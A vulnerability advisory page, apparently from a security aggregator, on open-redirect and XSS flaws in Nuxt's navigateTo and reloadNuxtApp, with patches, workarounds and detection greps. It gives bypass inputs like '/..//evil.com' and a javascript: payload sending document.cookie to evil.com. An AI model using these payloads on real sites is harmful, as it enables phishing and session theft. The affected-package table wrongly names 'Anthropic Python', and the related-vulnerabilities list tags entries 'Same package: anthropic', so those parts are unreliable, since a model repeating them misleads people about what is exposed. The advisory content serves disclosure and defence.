GHSA-c9cv-mq2m-ppp3: Nuxt: open redirect + XSS in navigation API (SSR+client)
GHSA-c9cv-mq2m-ppp3 MEDIUMThree URL-handling flaws in Nuxt's `navigateTo` and `reloadNuxtApp` APIs allow attackers to bypass the framework's built-in external-host guard via path-normalisation and protocol-relative tricks, enabling both server-side open redirects and reflected XSS in the application's own origin. With 5,435 downstream dependents and no EPSS data yet published, the blast radius is broad — any Nuxt-based AI application frontend that forwards user-controlled URLs (e.g., post-login `?next=` parameters or AI chat redirect flows) into these APIs is directly exposed to phishing, OAuth-token theft, and first-party script execution. No public exploit or active exploitation evidence exists and the CVE is not in CISA KEV, but the trivial exploitability of URL manipulation means opportunistic abuse against high-value targets (AI SaaS dashboards, LLM API portals) is plausible without any specialised tooling. Patch immediately to `nuxt@4.4.7` or `nuxt@3.21.7`; if patching is delayed, validate all redirect targets server-side by rejecting inputs where `new URL(target, 'http://localhost').pathname` starts with `//` and allowlisting only known-safe protocols before passing to these APIs.
What is the risk?
Medium overall, but escalated for AI application frontends. Exploitability is trivial — path-traversal URL encoding and protocol-relative paths are well-understood evasion patterns requiring no specialised knowledge. The XSS sink (sink 2) reaches the application's first-party origin, bypassing SameSite cookie protections and CSP if misconfigured. For AI SaaS products built on Nuxt — LLM API dashboards, compliance portals, AI security tools — open redirect in SSR context is especially dangerous because these apps commonly implement OAuth flows where a stolen code grants API-level access to the underlying AI service. The absence of KEV listing and public PoC keeps this from critical, but the 5,435 dependents and Nuxt's prevalence in modern AI application stacks make this a high-priority patch for teams running Nuxt-based AI frontends.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | npm | >= 4.0.0, < 4.4.7 | 4.4.7 |
Do you use Anthropic Python? You're affected.
How severe is it?
What should I do?
4 steps-
PATCH (immediate): Upgrade to
nuxt@4.4.7(4.x users) ornuxt@3.21.7(3.x users). Both fix all three sinks. -
WORKAROUND (if patch delayed): Before passing any user-controlled value to
navigateToorreloadNuxtApp, validate: reject inputs wherenew URL(input, 'http://localhost').pathname.startsWith('//'), enforce an allowlist of permitted post-login redirect paths (absolute paths only, no protocol-relative), and fornavigateTo({ open }), allowlist protocols to['http:', 'https:']only. -
DETECT
Audit codebase for any call pattern
navigateTo(userInput)orreloadNuxtApp({ path: userInput })whereuserInputderives from query params, URL fragments, or external data. Grep fornavigateTo.*req\.query,navigateTo.*route\.query,reloadNuxtApp.*path. -
MONITOR
Review server access logs for
Location:headers containing//or%2e%2esequences as post-patch verification that no bypass paths remain exposed.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-c9cv-mq2m-ppp3?
Three URL-handling flaws in Nuxt's `navigateTo` and `reloadNuxtApp` APIs allow attackers to bypass the framework's built-in external-host guard via path-normalisation and protocol-relative tricks, enabling both server-side open redirects and reflected XSS in the application's own origin. With 5,435 downstream dependents and no EPSS data yet published, the blast radius is broad — any Nuxt-based AI application frontend that forwards user-controlled URLs (e.g., post-login `?next=` parameters or AI chat redirect flows) into these APIs is directly exposed to phishing, OAuth-token theft, and first-party script execution. No public exploit or active exploitation evidence exists and the CVE is not in CISA KEV, but the trivial exploitability of URL manipulation means opportunistic abuse against high-value targets (AI SaaS dashboards, LLM API portals) is plausible without any specialised tooling. Patch immediately to `nuxt@4.4.7` or `nuxt@3.21.7`; if patching is delayed, validate all redirect targets server-side by rejecting inputs where `new URL(target, 'http://localhost').pathname` starts with `//` and allowlisting only known-safe protocols before passing to these APIs.
Is GHSA-c9cv-mq2m-ppp3 actively exploited?
No confirmed active exploitation of GHSA-c9cv-mq2m-ppp3 has been reported, but organizations should still patch proactively.
How to fix GHSA-c9cv-mq2m-ppp3?
1. PATCH (immediate): Upgrade to `nuxt@4.4.7` (4.x users) or `nuxt@3.21.7` (3.x users). Both fix all three sinks. 2. WORKAROUND (if patch delayed): Before passing any user-controlled value to `navigateTo` or `reloadNuxtApp`, validate: reject inputs where `new URL(input, 'http://localhost').pathname.startsWith('//')`, enforce an allowlist of permitted post-login redirect paths (absolute paths only, no protocol-relative), and for `navigateTo({ open })`, allowlist protocols to `['http:', 'https:']` only. 3. DETECT: Audit codebase for any call pattern `navigateTo(userInput)` or `reloadNuxtApp({ path: userInput })` where `userInput` derives from query params, URL fragments, or external data. Grep for `navigateTo.*req\.query`, `navigateTo.*route\.query`, `reloadNuxtApp.*path`. 4. MONITOR: Review server access logs for `Location:` headers containing `//` or `%2e%2e` sequences as post-patch verification that no bypass paths remain exposed.
What systems are affected by GHSA-c9cv-mq2m-ppp3?
This vulnerability affects the following AI/ML architecture patterns: AI SaaS web frontends (Nuxt SSR), LLM API dashboard portals, AI compliance reporting applications, OAuth-gated AI agent interfaces.
What is the CVSS score for GHSA-c9cv-mq2m-ppp3?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0048.003 User Harm AML.T0049 Exploit Public-Facing Application AML.T0052 Phishing AML.T0106 Exploitation for Credential Access Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary Three weaknesses in Nuxt's client-navigation URL handling, all reachable from documented public APIs (`navigateTo` and `reloadNuxtApp`): 1. **SSR open redirect in `navigateTo` via path-normalisation bypass.** `navigateTo` decided whether a target was external by inspecting the raw input with `hasProtocol(..., { acceptRelative: true })`. Inputs such as `/..//evil.com`, `/.//evil.com`, `/%2e%2e//evil.com`, or `/app/..//evil.com` slipped past that check because they start with `/`, but WHATWG URL parsing then normalised them to the protocol-relative pathname `//evil.com`. The normalised value was written to the `Location` response header and into the `<meta http-equiv="refresh">` body of the SSR redirect page, so a victim's browser would resolve the redirect cross-origin to the attacker's host. 2. **Client-side script execution via `navigateTo({ open: ... })`.** The client-side early-open handler called `window.open(toPath, ...)` without applying the `isScriptProtocol` check that gates the normal `navigateTo` path. A target of `javascript:...` (or another script-capable scheme) passed to `navigateTo(url, { open: { ... } })` therefore executed in the application's origin instead of being rejected. 3. **Open redirect in `reloadNuxtApp` via protocol-relative bypass.** `reloadNuxtApp({ path })` rejects script-capable protocols by parsing the path with `new URL(path, window.location.href)` and checking the resolved `protocol` against `isScriptProtocol`. Protocol-relative paths such as `//evil.com` resolve to the current page's protocol (`https:`), which passes that check; the value is then assigned to `window.location.href`, which the browser treats as a cross-origin redirect. This is the same protocol-relative bypass family as (1), in a different sink. ### Impact For (1), the practical risk is phishing or OAuth-code theft against any Nuxt app that forwards user-controlled input (for example a `?next=` query parameter on a login route) into `navigateTo` on the server. The framework documents that `navigateTo` blocks external hosts unless `external: true` is passed, so maintainers commonly rely on it as the safe path for post-login redirects. For (2), any app that passes a user-controlled URL into `navigateTo(url, { open: { ... } })` was vulnerable to reflected XSS in the application's first-party origin. For (3), any app that forwards user-controlled input into `reloadNuxtApp({ path })` could be redirected cross-origin for phishing or OAuth-code theft, even on releases that already shipped the `isScriptProtocol` guard added by [#35115](https://github.com/nuxt/nuxt/pull/35115). ### Patches Fixed in `nuxt@4.4.7` and backported to `nuxt@3.21.7`. The three sinks are addressed by: - Path-normalisation bypass in `navigateTo`: - 4.x: commit [`2cce6fb0`](https://github.com/nuxt/nuxt/commit/2cce6fb02e621196d56df92e05594e07469b5a6d) - 3.x: commit [`1f2dd5e7`](https://github.com/nuxt/nuxt/commit/1f2dd5e78c77576437138e97671965573c232835) - `navigateTo({ open })` script-protocol guard: - 4.x: [#35206](https://github.com/nuxt/nuxt/pull/35206) (commit [`3394716d`](https://github.com/nuxt/nuxt/commit/3394716d4a913cba904b028df5338f2aead50032)) - 3.x: commit [`62fc32ed`](https://github.com/nuxt/nuxt/commit/62fc32eddf648b00a3890141e0235d2a222b024d) - Protocol-relative bypass in `reloadNuxtApp`: - 4.x: commit [`e447a793`](https://github.com/nuxt/nuxt/commit/e447a793c47766834f7497f8412a76cd56fd8ee1) - 3.x: commit [`6497d99d`](https://github.com/nuxt/nuxt/commit/6497d99dd106254abd089f6a263d7773869a343b) ### Workarounds - For (1): validate redirect targets before passing them to `navigateTo`, for example reject any input where `new URL(target, 'http://localhost').pathname` starts with `//`, or only accept a known allow-list of paths. - For (2): reject any user-controlled URL whose protocol is not in an allow-list (typically just `http:` and `https:`) before passing it to `navigateTo({ open: ... })`. - For (3): same shape as (1). Reject paths starting with `//` (or where `new URL(path, window.location.href).host !== window.location.host`) before passing to `reloadNuxtApp({ path })`. ### References - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ### Credits Reported by Anthropic / Claude as `ANT-2026-S08HN6DH` through Anthropic's coordinated vulnerability disclosure programme. The `reloadNuxtApp` protocol-relative bypass (sink 3) was independently reported by [@alcls01111](https://github.com/alcls01111) via GitHub's coordinated disclosure flow (`GHSA-w7fp-2cfv-4837`), closed as a duplicate of this advisory.
Exploitation Scenario
An attacker targeting an AI compliance SaaS dashboard built on Nuxt constructs a phishing URL such as `https://ai-dashboard.example.com/login?next=/..//evil.com/steal`. When a CISO clicks the link, the SSR `navigateTo` call processes `?next=` and passes it to `hasProtocol` with `acceptRelative: true` — the leading `/` fools the guard, but WHATWG URL normalisation resolves it to `//evil.com/steal`. The server writes this value into the `Location: //evil.com/steal` response header. The victim's browser resolves the protocol-relative URL to `https://evil.com/steal`, which serves a cloned login page capturing the user's session or — more impactfully in an OAuth flow — stealing the authorization code returned by the identity provider, granting the attacker full API access to the underlying AI service. Separately, for the XSS vector, an attacker social-engineers a developer into opening a crafted URL containing `navigateTo('javascript:fetch("https://evil.com/?"+document.cookie)', { open: {} })`, executing arbitrary JS in the application's first-party origin and exfiltrating stored LLM API keys.
Weaknesses (CWE)
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-601 — URL Redirection to Untrusted Site ('Open Redirect'): The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-45370 7.7 utcp-cli: env leak exfiltrates all agent process secrets
Same package: anthropic CVE-2026-21852 7.5 claude_code: Weak Credentials allow account compromise
Same package: anthropic GHSA-534h-c3cw-v3h9 5.5 Nuxt: local unauth IPC leaks .env secrets on shared hosts
Same package: anthropic CVE-2026-34452 Anthropic SDK: TOCTOU symlink escape in async memory tool
Same package: anthropic CVE-2026-34450 anthropic-sdk: insecure file perms expose agent memory
Same package: anthropic